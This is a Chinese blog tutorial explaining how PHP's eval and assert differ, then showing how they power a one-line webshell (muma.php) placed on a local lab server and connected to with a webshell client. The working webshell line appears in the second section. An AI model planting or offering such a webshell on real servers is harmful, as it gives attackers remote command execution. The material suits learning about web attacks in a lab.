eval与assert区别

eval与assert

    • 一、eval和assert的区别
        • 1. eval定义和用法
        • 2. assert的定义与用法
        • 3. eval与assert的不同点
    • 二、eval和assert在一句话木马的作用


一、eval和assert的区别

1. eval定义和用法

  • eval会把字符串当作PHP代码来执行
  • eval语法非常严格,所有的要执行的php字符串都必须完整,且以分号结尾
  • 如果字符串中带有return,会立刻终止执行并返回NULL
  • 如果代码中存在解析错误,则 eval() 函数返回 false

2. assert的定义与用法

  • assert会把字符串当作PHP代码来执行

  • assert被认定为一个可变函数

    
        $a = 'assert';
    	$a('phpinfo()');
    ?>
       # 这就是可变函数
    

3. eval与assert的不同点

  • eval 是一个语言构造器 (PHP关键字符),不能够使用像可变函数那样被调用,而assert可以那样被调用
  • eval规范更加严格一些(字符串必须以分号结尾),必须符合PHP代码要求,assert则没有那么严格,执行PHP表达式即可

二、eval和assert在一句话木马的作用

假如我上传的木马文件代码如下所示:


    # $_POST['1']要传递为一个可变函数
    # $_POST['2']是要执行的字符串

$_POST['1']可以上传assert,$_POST[‘2’]可以上传assert和eval

我的服务器地址是192.168.93.134(本地服务器),所以我在根目录下面创建了muma.php文件,文件中的内容如下所示:

 $_POST['1']($_POST['2']); ?>

类容是一句话木马,连接密码是2.

  1. 右键点击添加数据

eval与assert区别_第1张图片

  1. url填写http://192.168.93.134/muma.php,连接密码填写1

eval与assert区别_第2张图片

eval与assert区别_第3张图片

如上所示,点击测试连接,可以查看是否能够连接成功,点击添加就可以进行文件操作下:

你可能感兴趣的:(PHP,php,开发语言)